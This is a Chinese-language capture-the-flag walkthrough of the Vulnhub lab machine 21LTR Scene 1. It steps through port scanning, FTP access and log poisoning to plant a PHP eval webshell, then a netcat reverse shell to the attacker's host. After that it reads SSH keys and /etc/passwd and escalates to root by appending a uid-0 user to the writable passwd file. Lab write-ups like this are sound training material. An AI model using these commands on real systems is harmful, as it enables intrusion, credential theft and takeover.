Vulnhub靶机 21 LTR-Scene1（渗透测试详细）

靶机下载地址

https://www.vulnhub.com/entry/21ltr-scene-1,3/

一、配置网卡

1、靶机网卡

靶机默认网卡为仅主机，192.168.2.120

2、kali网卡

建议配置一张仅主机网卡，并且修改为和靶机同一网段

二、web渗透测试

1、扫描靶机IP地址

nmap 192.168.2.0/24

2、扫描靶机的端口和服务版本

nmap -sV -O 192.168.2.120

3、访问靶机地址

已知端口80开发，直接访问

没啥可用点

4、对靶机进行目录扫描

dirsearch -u http://192.168.2.120

访问后没啥用

5、通过反复查找页面功能点

查看主页源码发现了一个账户密码

6、利用账户密码进行FTP和SSH连接

上面已经扫描出来21和22端口开发

经过测试，发现FTP可以成功连接

输入ls，查看有什么可用东西

7、尝试将扫描出来的文件下载到本地

get backup_log.php /home/kali/Desktop/shell.php

8、查看下载的shell.php

发现是个日志文件

之前目录扫描出来一个logs目录，尝试拼接这个文件访问

三、获取shell

1、写入webshell

已经知道backup_log.php文件可以解析，尝试写入一句话木马

这里利用10001端口写入，输入以下命令

1、telnet 192.168.2.120 10001
2、<?php eval($_POST[hack]);?>

2、写入完成后，重新访问网址backup_log.php文件

3、这里拼接?cmd=，输入id命令，发现是个任意代码执行漏洞

4、拼接参数值，写入反弹shell语句

nc -e /bin/sh 192.168.2.129 5555

kali监听，nc -lvvp 5555

成功反弹

四、提权

1、建立交互式shell

python -c 'import pty; pty.spawn("/bin/sh")'

输入以下命令

1、cd /media/USB_1/Stuff/Keys
2、ls
3、cat authorized_keys

2、查看密钥文件

cat id_rsa

3、查看/etc/passwd

cat /etc/passwd

发现存在hbeale用户

3、尝试用密钥文件登录

ssh -i id_rsa hbeale@192.168.2.120

成功连接，但是个低权限用户

4、利用不安全配置/etc/passwd可写进行提权

创建root新用户

利用openssl生成密码hash值

5、将hash密码添加到/etc/passwd

echo 'user1:$1$dY7ecSy3$DuiqIJfj/66qr4GMayq1O/:0:0:root:/root:/bin/bash' >> /etc/passwd

6、切换刚刚创建的用户

su user1

提权成功！！！